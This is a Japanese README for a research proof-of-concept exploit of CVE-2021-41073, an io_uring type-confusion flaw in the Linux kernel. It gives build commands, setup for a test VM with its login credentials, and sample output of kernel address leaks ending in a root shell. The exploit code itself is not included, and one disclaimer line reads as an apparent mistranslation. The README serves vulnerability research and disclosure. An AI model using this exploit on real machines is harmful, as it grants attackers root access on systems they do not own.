
# CVE-2021-41073用ローカル権限昇格エクスプロイト Linuxカーネルにおけるio_uring型混乱(type confusion)脆弱性であるCVE-2021-41073のローカル権限昇格エクスプロイトで、デフォルト構成でroot権限を取得します。
CVE-2021-41073 io_uring 型混乱の脆弱性に対するLPEエクスプロイト。
解説記事はこちら: Put an io_uring on it: Exploiting the Linux Kernel
作者: @chompie1337
教育・研究目的のみに使用してください。テストやセキュリティ評価には使用しないでください。
ビルド方法 (liburing が必要):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
テスト・実行用に、5.15-rc1 カーネルを搭載した テストVM を用意しました。
VMを起動するには、test_vm アーカイブ を展開して、以下を実行します:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
非特権ユーザーとしてsshで接続します:
ssh -p 10021 hi@localhost
パスワード: lol
実行方法:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
エクスプロイト全体のシーケンスを完了するには、3〜4回の試行が必要な場合があります。エクスプロイトを試行するたびにVMを再起動してください。このエクスプロイトの改善は今後の課題であり、その手法は解説記事に記載されています。このPoCは、他の研究者や高度なカーネルエクスプロイトについて学びたい人々と知識を共有するという厳密な目的のために公開しています。
このエクスプロイトは、ブログ記事で解説されている手法の概念実証であり、デフォルト構成のLinux Kernel 5.15-rc-1に対するローカル権限昇格を実現します。影響を受けるすべてのバージョンのLinuxで動作するようにエクスプロイトを調整・武器化することは意図していません。解説した手法のほとんどを実証するためのコードを提供し、一部のディストリビューションで有効化される可能性のある各種緩和策を回避するために必要な手法を作成・文書化しました(付属のブログ記事に記載)。
提供されているテストVMで使用されているカーネル構成は、カスタムビルドのカーネルで作業したい場合に備えて test_vm フォルダにあります。貢献したい場合は、プルリクエストを歓迎します :)
この研究は Grapl のスポンサーによるものです。